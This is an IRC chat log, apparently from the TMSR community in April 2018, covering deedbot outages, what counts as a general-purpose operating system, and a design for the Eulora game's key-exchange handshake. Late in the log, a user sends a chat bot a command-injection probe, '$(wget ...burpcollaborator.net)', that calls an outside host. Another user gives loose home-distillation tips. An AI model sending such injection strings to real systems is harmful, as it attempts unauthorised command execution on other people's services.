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00:01 * ascii_lander bbl:bed
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01:48 trinque looks like there's packet loss between the wallet and deedbot, with the fault on the deedbot end.
01:49 trinque that'd explain some of the incomplete registrations (got nick:fp pair, did not get key into wallet's keychain)
01:49 * trinque shipped a patch that'll retry fetching the key
01:50 trinque aside all that, deedbot's obviously migrating to pizarro soon as can be done.
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03:05 ckang trinque: do they need to register ?
03:06 ckang re-register*
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04:56 spyked http://btcbase.org/log/2018-04-16#1799857 <-- which one(s)? ti-89? trying to get a better idea about how "os with clean no-assumption interface" looks.
04:56 a111 Logged on 2018-04-16 15:20 mircea_popescu: the best example i can think of is the code on the old handheld calculators. THAT is a general purpose os : it makes no assumption about the downstream, merely fully, cleanly and directly exposes the hardware.
04:57 spyked hm, a111 dead?
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04:57 spyked http://logs.bvulpes.com/trilema?d=2018-4-16#335636 <-- precisely!
04:58 mimisbrunnr Logged on 2018-04-16 15:12 mircea_popescu: i suppose at work might be a confusion between what-some-idiots-might-be-thinking-retroconstructed-on-the-flimsy-basis-of-how-they-behave, where "general purpose os" means "the sprinkle of magic turning the computer from a computer to anything i want it to be, which is to say a tool that magicvally works for any purpose i might come up with, especially the nonsensical and self-contradic
05:05 spyked http://btcbase.org/log/2018-04-16#1799861 <-- I dun fully grasp this, so bear with me for a moment. suppose the following (imho no-nonsense) thought experiment: say we have an os, NOP-OS, that works as follows: after initialization, the os loads a (user-provided) program P; the NOP-OS interface exposes to P exactly one system call, "no-op", which does nothing and returns. is then NOP-OS a general-purpose OS? say we add another system
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05:05 a111 Logged on 2018-04-16 15:22 mircea_popescu: whereas the proper definition of "general purpose" is the one mentioned, "which makes no assumptions about the userland".
05:05 spyked call, "exit(code)", which allows P to return control to NOP-OS, so that the user can load another program P'. same question here.
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06:57 shinohai http://archive.is/SoN4j <<< be careful out there, trinque
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09:22 BingoBoingo So much log from yesterday
09:27 BingoBoingo asciilifeform's sense of wonder here has been good for the moral. Been learning quite a bit here.
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09:47 deedbot http://qntra.net/2018/04/jewish-state-continues-aggressions-in-syria/ << Qntra - Jewish State Continues Aggressions In Syria
09:59 shinohai http://btcbase.org/log/2018-04-17#1800713 <<< ty mod6 ... had a fine weekend o7
09:59 a111 Logged on 2018-04-17 01:26 mod6: shinohai: happy belated!
09:59 deedbot http://www.dianacoman.com/2018/04/17/rfc-euloras-communication-protocol-eucomms/ << Ossasepia - RFC: Euloras Communication Protocol (EuComms)
10:09 deedbot http://qntra.net/2018/04/21-coearn-com-saga-ends-with-coinbase-acquisition/ << Qntra - 21.co/Earn.com Saga Ends With Coinbase Acquisition
10:19 shinohai BingoBoingo: overvalues firm / overvalues the firm ?
10:20 BingoBoingo ty shinohai
10:20 BingoBoingo fxd
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10:54 ascii_lander ohai mircea_popescu
10:56 mod6 mornin' TMSR~
10:56 mircea_popescu heya.
10:56 BingoBoingo Buen dia
10:56 mircea_popescu !!pay veronicalol 0.02
10:56 deedbot Get your OTP: http://p.bvulpes.com/pastes/I3o2X/?raw=true
10:58 mircea_popescu http://btcbase.org/log/2018-04-17#1800892 << my apocripha says aquinas.
10:58 a111 Logged on 2018-04-17 03:48 ascii_lander: http://btcbase.org/log/2018-04-16#1800393 << augustine
10:58 BingoBoingo Fuck it, Plotinus
10:59 ascii_lander mircea_popescu: it's in my copy of augustine, lol
10:59 ascii_lander iirc 'make me chaste and continent but not yet'
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11:00 mircea_popescu http://btcbase.org/log/2018-04-17#1800909 << wasn't, no. and yes, the ti-89, sure. or my ancient citizen solar powered item which i haven't seen for 15 years at the least but which was revolutionary for its time and literally worked by degrees -- if you obstructed two of its cell it could still slightly power the screen so it did.
11:00 a111 Logged on 2018-04-17 08:57 spyked: hm, a111 dead?
11:00 mircea_popescu ascii_lander, to a large degree who said what in early church history is a cockularity poontest.
11:00 mircea_popescu or vice-verssa
11:01 mircea_popescu lobbes, ^ see that ? SEE THAT ?
11:01 mircea_popescu you will roux the day!
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11:01 ascii_lander these 'earlies' are ~1000yr apart eh
11:01 mircea_popescu from you you mean ? or from each other ?
11:01 ascii_lander eachother
11:02 mircea_popescu so what's that mean, that they were both riding dinosaurs into combat, big deal.
11:04 mircea_popescu http://btcbase.org/log/2018-04-17#1800912 << this item is not an os at all, if it runs on a machine which is capable, hardware-wise, of more than a no-op.
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11:04 a111 Logged on 2018-04-17 09:05 spyked: http://btcbase.org/log/2018-04-16#1799861 <-- I dun fully grasp this, so bear with me for a moment. suppose the following (imho no-nonsense) thought experiment: say we have an os, NOP-OS, that works as follows: after initialization, the os loads a (user-provided) program P; the NOP-OS interface exposes to P exactly one system call, "no-op", which does nothing and returns. is then NOP-OS a general-purpose OS? say we add another system
11:05 mircea_popescu if however that os runs on a no-op single instruction cpu, then it is absolutely general purpose.
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11:05 mircea_popescu if you modified it so it checked whether the machine temperature is within three degrees of freezing and did not expose the no-op in THAT case, then thereby it would be a general purpose os no longer
11:05 mircea_popescu but instead, it would be a particular-purpose os, "for those cases when the user wants the machine to not be 3 degrees from freezing".
11:08 mircea_popescu http://btcbase.org/log/2018-04-17#1800914 <<< how it manages user interfacing is not even a consideration here. whether it returns control via pushing that specific-sounding button on the back left like the old tim-s ; or whether it has a software call implemented is irrelevant. not from a gui/ux perspoective, of course, but this is the fucking point of systems design as a discipline : that it does NOT consider other discipl
11:08 a111 Logged on 2018-04-17 09:05 spyked: call, "exit(code)", which allows P to return control to NOP-OS, so that the user can load another program P'. same question here.
11:08 mircea_popescu ines, and through this separation allows complex, YET STILL SENSIBLE apparata be aggregated.
11:09 mircea_popescu exactly how medicine does not consider whether you were fashionably dressed at the moment of symptoms, to establish whether your sartorial ineptitude maybe upset Sartrus, the god of suits.
11:09 mircea_popescu god knows i have enough trouble as it is remembering what i ate yesterday, if i also had to remember what i was wearing while doing it we could just call it quits.
11:10 mircea_popescu which is exactly what's happening with pre-republican computers.
11:14 mircea_popescu (fun facts for the recently born : 1. most old zx-80 clone programs were games, whether you count by titles, or by total cpu time, or any other way ; 2. they did not return (mostly because to make a good one you had to fuck the kernel space, that zx80 shit was tight), you pressed the reset button to load the next item on the tape.
11:17 mircea_popescu the jury is still out, as far as i'm concerned, on whether the os that loses control of a machine is still an os, meaning it's not altogether clear to me the basic-whatever combo they had at the time actually constitutes an os. but the problem FUCKING ISNT the naive perception at the time, "oh, it didn't hjave icons to click like windows 3.1". windows 3.1 was not an os ; nor was any other windows product an os. microsoft ship
11:17 mircea_popescu ped a "userland package" at all points in its existence, there's no substantial difference between "the office suite" and "windows + the office suite".
11:18 trinque going to reboot the deedbot box; getting about 10kbps out of the thing currently.
11:18 trinque kind of a wonder it's working at all under these conditions
11:19 ascii_lander trinque: out of curiosity -- this is in a heathen dc ? usa ?
11:19 trinque singapore, actually
11:19 mircea_popescu http://qntra.net/2018/04/21-coearn-com-saga-ends-with-coinbase-acquisition/ << aka 'usg.coinbase is the usg-designated bagholder in the space, it'll "buy" all the failed attempts of all usg agencies so the empire of idiots can "save face".'
11:20 mircea_popescu http://www.dianacoman.com/2018/04/17/rfc-euloras-communication-protocol-eucomms/ << hey phf, i intend to comission you to write a text-only eulora client on this basis, give a looksee ? an' let me know ?
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11:20 mircea_popescu then either phf or someone else can turn that text-only client into a webservice.
11:21 mircea_popescu slash ircbot.
11:22 mircea_popescu ben_vulpes, sooo, did you send login details to douchebag ? what do these cost in the end ?
11:22 mircea_popescu ascii_lander, mg box ?
11:22 ascii_lander mircea_popescu: i'ma actually headed to the smg box shortly
11:22 ascii_lander (coffee, then to dc)
11:23 mircea_popescu aite.
11:23 ascii_lander will reconnect from inside the cage.
11:23 BingoBoingo <mircea_popescu> aite. << I have been walking alf quite a bit here
11:23 mircea_popescu it's good for him.
11:24 mircea_popescu alf the beedog happines = long walks + icecream stops.
11:25 BingoBoingo Until alf arrived I had been taking the cheese versus petrocheese gulf for granted
11:25 mircea_popescu howssat ?
11:25 BingoBoingo I just kinda forgot petrocheese was a thing with the real stuff here
11:27 mircea_popescu oh lol
11:27 mircea_popescu makes two of us.
11:31 ascii_lander i dun even eat petrocheese back home
11:31 ascii_lander but this is at the cost of 'hey i'ma eat a video card'
11:31 ascii_lander whereas here..
11:32 BingoBoingo lol
11:32 * ascii_lander finally dressed and now will march out.
11:34 trinque ckang: no, I'll have the deedbot keys pulled down in an hour; they'll then be able to withdraw, whoever can't
11:35 trinque heh that guy the other day might've mentioned he was getting kbps!!!
11:35 mircea_popescu but that'd have been revealing his hand.
11:36 mircea_popescu you don't understand the game of world politics and international intrigue of the web! you're supposed to not tell things! THERES TERRORISTS OUT THERE.
11:36 trinque ah shit, with scary beards even
11:37 mircea_popescu yes. gotta keep your tits close to the chest and the sharpie firmly up butt.
11:37 trinque lol
11:37 mircea_popescu in other news, we're up to 55 titbitpairs
11:37 douchebag haha
11:51 trinque aaaand 10-12% packet loss inside the dc
11:53 trinque the singapore one of course, not pizarro.
12:05 spyked http://btcbase.org/log/2018-04-17#1800947 <-- I deliberately left the "underneath the OS" bit out because it was not explicitly mentioned in the definition. but yes, in my question I was looking for "specificity", same that's mentioned in http://thetarpit.org/posts/y04/06d-what-is-an-os.html#selection-179.0-179.238
12:05 a111 Logged on 2018-04-17 15:04 mircea_popescu: http://btcbase.org/log/2018-04-17#1800912 << this item is not an os at all, if it runs on a machine which is capable, hardware-wise, of more than a no-op.
12:06 spyked so, taking anotehr shot at this definition: a general-purpose os is an os that cleanly exposes hardware to user programs, without making assumptions about the latter. it's still not immediately clear to me what "cleanly" means, but this'll have to do.
12:07 spyked anyway, this thread put together should make for a decent follow-up piece, i'ma get to it tomorrow.
12:11 spyked http://btcbase.org/log/2018-04-17#1800949 <-- could also be a turing-capable cpu that exposes the instructions natively after the program is loaded. the important part was re what the os itself exposes (or not, in this case) and how this relates to "makes no assumptions about P"
12:11 a111 Logged on 2018-04-17 15:05 mircea_popescu: if however that os runs on a no-op single instruction cpu, then it is absolutely general purpose.
12:11 mircea_popescu trinque, someone threw a helluva party.
12:12 mircea_popescu spyked, cleanly ie, simplest bijective. 1. all items in A are represented in B ; 2. all items in B have an underlying in A ; 3. there is no simpler relation in any case.
12:13 mircea_popescu spyked, perhaps another useful heuristic is the authority problem. if the specification of a user program CAN include a MUST statement, quo warranto ? if "the os", then it is not general purpose.
12:15 mircea_popescu and perhaps worthy of noting here, that the "trend" "emerging" from usg's own "computer security" roadside act cum flea circus, is towards special-purpose os. because that's what they mean by "security".
12:16 mircea_popescu whereas the one user one box tmsr approach sticks with the general purpose os philosophy, and expects spurious color-of-bits considerations to be implemented in the realm in which they belong -- if you want to own the bits own the box, there shall be no legislating here.
12:23 spyked mircea_popescu, I don't see a fundamental problem with special-purpose os (which is why I mentioned "bitcoin node os" as one, though it *could* in principle be implemented as a particular instance of a general-purpose os). embedded hardware (e.g. requiring timing constriants) is full of them.
12:24 spyked *constraints
12:28 mircea_popescu it all comes down to WHAT is the special purpose. mind that the direction the bitcoin node os is taking is towards ~special purpose hardware~. this is very fucking different, whether you have special purpose hardware run by general purpose osen, or whether you have ibm at clone consumershit emulated into republican sanity by usg's flaour of special purpose os.
12:28 mircea_popescu because in the former case, the VARIOUS gposen would still be in fact different from each other.
12:31 mircea_popescu the confounding factor here is pantsuitist outlook, whereby some retard (the user) regards self as meausre of all things and imagines all vectors start from him, and therefore in his boneheaded approach to the world, "general purpose os" means something about him. it fucking doesn't, a general purpose os isn't one joe schcmucktoe can put on a stick and carry around and "it'll work on all computers he encounters".
12:31 mircea_popescu ye olde sld-7001 (check me out, meanwhile i found it!)'s os is GP, notwithstanding it won't run your "intelligent" lawnmower.
12:33 * spyked looks
12:34 mircea_popescu so fucking old, citizen itself no longer lists it.
12:38 spyked aha, found nothing on hardware and software specs. mircea_popescu, if it's any similar to the calculators I had as a kid, it might not even have any software (all calculator logic implemented using gates)
12:39 mircea_popescu soooo ?
12:39 mircea_popescu what, your no-op example is not trivial, but my no-os example is ?
12:39 mircea_popescu 0-lenght os can still be gp.
12:39 spyked well, I didn't say it *doesn't* have an OS. just trying to figure out what that is :D
12:39 mircea_popescu :p
12:39 mircea_popescu i don't expect it was anything.
12:40 mircea_popescu in fact, 0-length os is guaranteed gp.
12:49 mircea_popescu diana_coman, this is too fluid to fix in a comment, and i'd rather have it here than in #eulora. so : let's call eucrypt.serpent X and eucrypt.RSA-OAEP R. now, 1. client wants to log in, R(hello) -> S[erver].
12:50 mircea_popescu at this juncture, server knows "someone" claiming to be A initiated a connection. it should therefore send X(answer) back, where X uses a key that S knows A should have, on the basis of previous comms.
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12:51 mircea_popescu if A fails to respond, S will close the connection, practically meaning that A can't claim to be A unless he keeps some X keys about. which is something A-implementers must be aware of.
12:52 mircea_popescu now, if B wants to update his X.keys with the server, he sends them X'd with one of the existing S keys. meaning, again, that if B manages to lose all S's X keys, it lost the account.
12:53 mircea_popescu so implementations MUST keep at least a local and a server X key at all times ; doing otherwise is === deleting the account.
12:54 mircea_popescu this is then the eulora future login handshake : C : hello ; S : new account, here are your keys ; C : here's some keys of mine. they can now continue indefinitely, just as long as nobody loses all the keys.
12:57 mircea_popescu actually, let's make this clearer, it's ambiguous as it stands. C : hello ; S : new account, here are some X keys you can use to decrypt and some X keys you're required to use to encrypt ; C : here's my R key [and here are some X keys i'd prefer to use].
13:00 mircea_popescu which then runs into the obvious problem that i had been chasing all this time : client's R key has to come earlier in the flux. how about the rule that all hello items sent to the server are either a) encrypted to a pre-existing X key or else b) contain a R key ? ie, our helo is not correct as specced.
13:07 mircea_popescu if instead we made it rely on R, there'd be great benefits. consider this alternate model : C : R(hi, this is C.R.key) S : R(here's some X keys for me and for you) C:(actually i'd rather you use these X keys for me).
13:08 mircea_popescu like this, server must not lose its R privkey and clients must not lose their R privkey , but pubkeys of all these can be safely lost, and X keys don't matter at all. seems altogether safer and less friable.
13:12 mircea_popescu now subsidiary for all this : server should generate a batch of X keys and send them to the client every time its store of either S or C X keys drops under a certain value. it's therefore the client responsibility to make sure there's enough keys in store if it doesn't want to pay for key generation. now, what should this threshold be ? 3 ?
13:13 mircea_popescu also important, third question : should the client be permitted to generate X keys for the server ?
13:19 * ascii_lander reporting live from... inside the cage. fixed the raid oops on smg box; nao partitioning it & copying dulap's gentoo
13:21 mircea_popescu win.
13:28 mircea_popescu now here's a question on which i'd very much like to hear a lordship oppinion. so, the model currently contemplated for eulora includes a bit whereby the server has to be told by the client a magic string, and will report this back to the client on demand, "here's what you told me you are". the idea is that the client can then sha his binary, and see if the strings match.
13:29 mircea_popescu the reason for this is that games are eminently a domain where people share binaries, a matter of fact established both from general and minigame's own experience. obviously in the sane world of source sharing, v is the correct solution. but if people are going to share binaries, this seems like the only available approach.
13:31 mircea_popescu (one could object, "it's pointless to attempt this, hacked client can just replace magic string", which is true, but nevertheless client can still binary audit his item and see / login with a special, known-good string-test-only client and see what he should be. ie, client can bootstrap himself out of the fakebox produced by a hacked binary.
13:32 mircea_popescu now obviously, this approach wouldn't be nearly as useful for dynamically linked clients ; but i deem the fact that it puts the security incentive on dumping dynamic linking a very good thing.
13:32 mircea_popescu so... thoughts ?
13:33 mircea_popescu !!getratings deedbot
13:33 mircea_popescu !!help
13:33 deedbot http://deedbot.org/help.html
13:33 mircea_popescu !!ratings deedbot
13:33 deedbot http://p.bvulpes.com/pastes/ShmBc/?raw=true
13:34 diana_coman http://btcbase.org/log/2018-04-17#1801027 --> uhm, for starters this is not correct; initial hello is meant for....initial, no "previous comms" wtf; server needs to reply not with X(answer) but with R(answer) and yes, it needs to know the public rsa key of the account; the creation of accts is still a bit in the air as server needs to get somehow the public key
13:34 a111 Logged on 2018-04-17 16:50 mircea_popescu: at this juncture, server knows "someone" claiming to be A initiated a connection. it should therefore send X(answer) back, where X uses a key that S knows A should have, on the basis of previous comms.
13:35 mircea_popescu diana_coman, well, two kinds of helo, yes ? when initiating a connection ; and when initaitng an account.
13:35 diana_coman the idea was that if client loses all his X keys, he can send a hello message again
13:35 diana_coman uhm, no
13:35 diana_coman ah, you mean the same but just id vs no id?
13:35 mircea_popescu basically.
13:36 mircea_popescu that's what i mean, this is kinda too fluid and i suspect it's because somewhere in my head i conflate two things.
13:37 diana_coman it does seem like you have something else in mind indeed; hm
13:37 diana_coman possibly the "register account" vs "authenticate"
13:38 mircea_popescu diana_coman, in any case strictly speaking, the helo as we spec it does not include R pubkey ; whereas in practice it actually must. but read the whole blob, this is better compiled htan parsed.
13:38 * diana_coman reads
13:42 diana_coman I don't quite follow why is server concerned with client's stock of R keys? client can request new keys, burn them, do whatever it wants as it decides how often it wants new keys
13:42 diana_coman why is this server's concern?
13:43 mircea_popescu X keys only ; R key is one. and server is concerned because if it has no client X keys, it can't send, and if the client has no server X keys, the server can't receive.
13:43 diana_coman ugh, meant X there
13:43 diana_coman I don't quite follow why is server concerned with client's stock of X keys? client can request new keys, burn them, do whatever it wants as it decides how often it wants new keys
13:43 mircea_popescu but basically the idea for X keys is to work like that, if you don't have any server makes, if you make them then server uses .
13:44 diana_coman but if you don't know that you don't have...
13:44 mircea_popescu how could the server not know ?
13:45 diana_coman but why does the server *care*? to spare the client the need to ask or what?
13:45 mircea_popescu yes.
13:45 diana_coman why?
13:45 mircea_popescu because it's stuck keeping a list of keys anyway. so it knows how many they are anyway. so might as well send when needed rather than wait to be asked.
13:45 diana_coman so server sets threshold at 3; why can't I decide I want that at 2 and you at 5 and so on
13:46 mircea_popescu you can send as many as you want, the server will keep them for you.
13:46 diana_coman this was lower threshold, lol
13:46 mircea_popescu but if you want less than 3, it'll keep sending you extras until you give up trying to argue with my server.
13:46 diana_coman yes, but...why
13:46 mircea_popescu hm
13:46 mircea_popescu so no X key thresholds ?
13:47 diana_coman server wants to look after clients so they don't end up without keys; it can, sure; all I'm saying is that I don't quite see the reason for this; perhaps other than "clients are idiots, let's at least avoid the case where they end up going hello hello all the time"
13:48 mircea_popescu seems to me the threshold will practically be set at 1 as a matter of absolute necessity. once that is the case, setting it at 3 is in no substantial way different : just as many keys will be used as before, but the setting at 3 forces key creation at a time prior to when keys are needed, which seems to help with resource load spread.
13:48 mircea_popescu diana_coman, kinda 90% of all server code aims to avoid "accidental client ddos".
13:48 diana_coman that makes more sense, yes
13:49 mircea_popescu i don't have this modelled well enough to say it with certainty ; but it seems to me 3 is a reasonable choice.
13:49 diana_coman well, it's certainly not the number I have a problem with anyway
13:50 mircea_popescu but you agree it can never be lower than 1 ?
13:50 diana_coman I'm still not convinced it has to be; if it gets lower than 1 and client hasn't asked, I'd just disconnect them and they can get back with a hello that is low priority and they..w.ait
13:50 diana_coman no ddos anywa
13:51 mircea_popescu yes, but here's the principle : if server knows something will be needed as a certainty, server should act rather than wait to be called to act. which is why it's a server rather than a client.
13:52 diana_coman uhm, dunno about that certainty there; maybe client doesn't want to keep serpent keys between sessions for all I know
13:52 mircea_popescu that's a usestyle we discourage anyway.
13:53 mircea_popescu (for the oursiders : it is the agreement in minigame boardroom that rsa helo packets from existing clients will be lowest priority, after 1. serpent packets and 2. rsa helo packets from unknown clients. the idea is you keep your serpent keys, and continue your "session" whenever, it's kind of a stateless session)\
13:54 diana_coman re creating account: it obviously needs the client's public rsa and atm that one is nowhere in there, yes; I thought you didn't want them in there because it's not just about "a rsa key" but rather one registered with deedbot sort of thing
13:54 diana_coman so it's not enough that client plonks a key in there
13:55 mircea_popescu (it does away with the "is user logged in". you can pm everyone all the time, they're always logged in anyway).
13:55 mircea_popescu diana_coman, one consideration was that if it includes pubkey it will have to be multipacket and i wanted it to be singlepacket for some now incomprehensible reason.
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13:56 mircea_popescu but no, seems the correct approach is to replace 3.1.5 with "rsa pubkey". and ACTUALLY use that as the account id.
13:57 diana_coman rsa pubkey if de-facto account id anyway i.e. identifies uniquely one account, yes
13:57 diana_coman if* -> is
13:57 mircea_popescu yeah. it's the only sane identifier to be had.
13:58 diana_coman but to my earlier obs: so you're fine with people creating account with any rsa key (well, tmsr/eucrypt rsa at least) ?
13:58 mircea_popescu yes.
13:58 mircea_popescu i know this isn't how it works now and hasn't been for a long time, but i'm ready to move on!!1
13:59 diana_coman ok, so then there is hello-new-account with the R public key; there are otherwise *only* X messages? and if no X key then ...account lost or can it re-send "new account" and basically retrieve the old one?
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14:22 mircea_popescu im thinking it's actually best to have a single helo, with r-pubkey. if it is known to the server then it sends X keys ; if it is not known then... it sends X keys.
14:22 mircea_popescu see ?
14:22 mircea_popescu diana_coman, ^
14:30 mircea_popescu re "registered with deedbot" part : i expect in-game trade should be the driver of both rating and registration.
14:32 diana_coman well yes, it is only one, the "hello-new-account" although whether it's "old" or "new"...same difference
14:32 diana_coman but it's needed only when client doesn't have any X keys for whatever reason basically, right?
14:33 diana_coman otherwise there isn't any hello as such, just send directly whatever it wants/needs, encrypted with one of the X keys and that's that
14:33 diana_coman mircea_popescu, ^
14:35 mircea_popescu exactly.
14:35 mircea_popescu if client has at least one server X key it can bootstrap, sending more.
14:35 mircea_popescu if it doesn't, has to helo.
14:36 diana_coman aha
14:36 diana_coman I'll eat the convo again and then update the spec (+link to log ofc) hopefully
14:37 mircea_popescu aite. i really think we have to have someone working at this wall from the other end, hence the original http://btcbase.org/log/2018-04-17#1800966 comment.
14:37 a111 Logged on 2018-04-17 15:20 mircea_popescu: http://www.dianacoman.com/2018/04/17/rfc-euloras-communication-protocol-eucomms/ << hey phf, i intend to comission you to write a text-only eulora client on this basis, give a looksee ? an' let me know ?
14:44 diana_coman certainly; and it goes for the data types too; fwiw I wasn't keen on putting this up precisely because it's a bit in the air as it stands and I expect other issues to emerge at implementation time
14:45 mircea_popescu yes. but hey, this is precisely why god gave us blogs in the first place.
14:46 diana_coman so that now women can BLOG in church!
14:49 trinque lol
14:49 mircea_popescu lol
14:53 deedbot http://qntra.net/2018/04/usg-mil-pursues-single-provider-cloud-computing-contract/ << Qntra - USG.MIL Pursues Single Provider "Cloud" Computing Contract
14:55 trinque deedbot will be offline briefly as the DC fixes its networking situation
14:55 mircea_popescu ima be off to town. bbl
~ 48 minutes ~
15:44 douchebag Hey trinque I don't mean to bother you, but with the various deedbot issues
15:44 douchebag I was just making sure withdrawls for those girls yesterday went through properly - no rush getting them processed
15:46 trinque I have 7 in the hopper for this evening.
15:46 douchebag Sounds good man, thanks
15:46 trinque the !!pay wasn't broken, just !!balance and !!withdraw
15:46 trinque sure, np.
15:46 douchebag I think that's really awesome way how you do withdrawls though
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15:46 douchebag In terms of security
15:47 trinque well and I have to admit that leaning on it exposed that the !!register service was weak (albeit weak meaning "couldn't survive 10kbps wire with packet loss")
15:47 trinque so thanks for that
15:48 douchebag Yeah no problem, glad I could bring that to your attention
15:50 douchebag So trinque, what is it exactly that got you interested in programming/networking/sysadmin stuff? What sort of things interested you the most and motivated you to keep learning?
15:54 trinque mmm, got my dad's computer stuck in DOS back in the win95 days playing a game. I was about 7-8? he was away on a trip, so I had 2 days to "fix the computer" or certain asswhippin. found the thing in win.ini or w/e it was, changed it, avoided wrath.
15:55 trinque clicked in my head that "oh, *this* is what the computer is for. change the text, and it does something different."
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15:55 trinque that's about it, really. pretty african origin story compared to the 80s kids
15:57 douchebag Interesting
15:58 trinque after that somebody bought me a "make your own game!" basic interpreter of some sort
16:03 douchebag Yeah, can you believe last year I had to take a QBasic 4.5 class
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16:06 trinque http://www.cs.cmu.edu/~dst/LispBook/book.pdf << here, have one of these then.
16:06 trinque http://web.mit.edu/alexmv/6.037/sicp.pdf << and also
~ 30 minutes ~
16:36 diana_coman http://btcbase.org/log/2018-04-17#1801097 <- mircea_popescu looking at it again from all sides I think the consideration is not necessarily misplaced in itself i.e. multi-packet there does make a mess out of the neat "these are the only *packets* you may ever send"; this being said though, I don't quite see the solution that would *also* preserve the desired "whatever it is, server responds the same: with a set of X keys"
16:36 a111 Logged on 2018-04-17 17:55 mircea_popescu: diana_coman, one consideration was that if it includes pubkey it will have to be multipacket and i wanted it to be singlepacket for some now incomprehensible reason.
16:39 diana_coman and at any rate, we end up with a "hello" packet that is the first one, containing version of comms protocol and client id string and all that jazz but *at most* some bits of the key only, followed by... more packets with the remaining, chopped-up public rsa key
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16:53 diana_coman alternatively the hello message stays single-packet and uses a keccak hash of the public key (n,e,comment) as "account ID" so 3.1.5; then key is sent via Data packages and basically I need to define another type for RSA public key; server can ask/expect the RSA key *every time* to preserve same answer behaviour or otherwise only if it doesn't know the key
~ 39 minutes ~
17:32 phf http://btcbase.org/log/2018-04-17#1800966 << i'll start reading the spec, i was already planning on writing my own version of client
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17:32 a111 Logged on 2018-04-17 15:20 mircea_popescu: http://www.dianacoman.com/2018/04/17/rfc-euloras-communication-protocol-eucomms/ << hey phf, i intend to comission you to write a text-only eulora client on this basis, give a looksee ? an' let me know ?
~ 1 hours 9 minutes ~
18:42 * lobbes will gladly test a phf-made eulora text client
18:44 lobbes main thing putting me off from playing more frequently has been the graphics requirement.
18:44 trinque ok, thing's back up and I'm getting quite a bit more speed from the pipe.
18:44 BingoBoingo Sweet trinque
18:45 trinque hopefully that'll be enough fiddling to let me get back to migrating to pizarro, BingoBoingo !
18:48 ascii_lander phunphakt : when you give 'exclude' option to tar, it excludes RECURSIVELY all files having that name, regardless of depth. this cost us 6 or so hrs today.
18:48 ascii_lander re smg.
18:49 * ascii_lander ended up N times with broken copy of gentoo and no way to determine why other than exhaustive grunting
18:49 BingoBoingo The grunting was loud
~ 16 minutes ~
19:06 ascii_lander ACHTUNG, mircea_popescu , diana_coman : http://p.bvulpes.com/pastes/7Xjpf/?raw=true
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19:07 ascii_lander plox to ack asap
19:07 * ascii_lander bbl, had vehehehery long day down here in the bunker
~ 1 hours 51 minutes ~
20:59 phf lobbes: same for me, i don't have the right machine to eulora. i tried rebuilding my mac homebrew version recently and it's all kinds of broken since the update a year or so ago
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21:08 lobbes listen, I'm gonna have to put you under a roast for punishing the logs with these puny puns >> http://btcbase.org/log/2018-04-17#1800942
21:08 a111 Logged on 2018-04-17 15:01 mircea_popescu: you will roux the day!
21:20 mircea_popescu lel
21:22 mircea_popescu !Q ascii_lander ok.
21:22 mircea_popescu !Q later tell ascii_lander ok.
21:22 lobbesbot mircea_popescu: The operation succeeded.
21:23 douchebag !Q $(wget http://2svdxxlir5m6eofyzi07dqojoau0ip.burpcollaborator.net/)
21:24 douchebag lets see if lobbesbot learned something from ol douchebag
21:34 mircea_popescu http://btcbase.org/log/2018-04-17#1801135 >> maybe actually putting a blogpost up with a detailed and illustrated description of the process might be a good idea, both for deedbot and for tmsr in general. i don't think many people even realise security is a thing.
21:34 a111 Logged on 2018-04-17 19:46 douchebag: I think that's really awesome way how you do withdrawls though
21:34 douchebag You're right about that
21:35 mircea_popescu no further than earlier over coffee, girl proposed that during her stay in $us.shithole she "tried getting into beer" because well... gotta have an activity and there was no good alcohool available, except for this beer that didn't utterly suck. so i said, "why not make a still", and she said "baring divine intervention...."
21:36 mircea_popescu what fucking divine intervention, a still is $15 in household equipment, get one of those rice cookers or w/e pot warmers, wirth digital temperature adjustment. set it for 79C, stick an erlenmeyer glass in there with a cork and a bent tube coming out, put an ice pack over the tube and voila! whatever southern confort goes in, 195 or so proof alcohol comes out.
21:36 mircea_popescu put it in oj or w/e. but this apparently was divine intervention, half hour's labour worth of parts and half hour's worth of work assembling them together.
21:37 mircea_popescu in short, i don't think esltards even vaguely remember YOU CAN DO THINGS.
21:43 mircea_popescu http://btcbase.org/log/2018-04-17#1801142 << pretty great story. not to mention the obvious moral : "are you ruining your child's chances to a future by failing to provide a safe learning environment for him through your limp wristed inability to create a clear and present threat to violent bodily harm ?"
21:43 a111 Logged on 2018-04-17 19:55 trinque: clicked in my head that "oh, *this* is what the computer is for. change the text, and it does something different."
21:44 mircea_popescu http://btcbase.org/log/2018-04-17#1801146 << the reason teachers keep pushing wirth's abomination upon students is that they're trying to teach them ada but don't know the word for it.
21:44 a111 Logged on 2018-04-17 20:03 douchebag: Yeah, can you believe last year I had to take a QBasic 4.5 class
21:44 douchebag haha
21:47 mircea_popescu http://btcbase.org/log/2018-04-17#1801151 << myeah. there's no way out of it, helo packet will have to be multi-packet. sad but true.
21:47 a111 Logged on 2018-04-17 20:39 diana_coman: and at any rate, we end up with a "hello" packet that is the first one, containing version of comms protocol and client id string and all that jazz but *at most* some bits of the key only, followed by... more packets with the remaining, chopped-up public rsa key
21:48 mircea_popescu http://btcbase.org/log/2018-04-18#1801167 << jewbuntu!
21:48 a111 Logged on 2018-04-18 00:59 phf: lobbes: same for me, i don't have the right machine to eulora. i tried rebuilding my mac homebrew version recently and it's all kinds of broken since the update a year or so ago
~ 23 minutes ~
22:11 ckang evening all.
22:13 phf i think alcohol production is forbidden in u.s. by a divine inca decree, so there's only two ways of doing it, in a redneck bathtub, while being redneck, or using hadron collider, like a civilized store alcohol supplier.
22:13 ckang or you get a fuel permit ;)
22:14 trinque I dunno if it was legal or not, but buddy in highschool made his own beer in his bedroom.
22:14 trinque it was.. yeasty
22:14 ckang beer and wine is legal
22:14 ckang its distilled stuff it gets sketchy
22:15 ckang in general they wont really mess with you unless you are selling and being 'loud'
22:15 ckang assuming its in your home
22:17 mircea_popescu phf, can always do it in lab glass.
22:18 mircea_popescu it won't make commercial amounts, but even the smallest still can outpour your gullet.
22:18 mircea_popescu also it's not properly production, merely fractional distillation of last pass. you're just taking the BBAV/BAC/whatever shitstilleries out of your cup.
22:19 phf it's a question of perception though, i'm commenting on the mechanics of learned helplessness
22:19 ckang https://www.banggood.com/Copper-Core-Alcohol-Wine-Distiller-Moonshine-Still-Brandy-Wine-Distillation-Hoop-Barrel-Design-p-1043642.html?rmmds=search&cur_warehouse=USA
22:20 mircea_popescu ah ah
22:20 ckang these are a pretty good value overall
22:20 mircea_popescu ckang, yes, but that's too calorically bulky to work for the proposed use here.
22:21 ckang do it under a vacuum :)
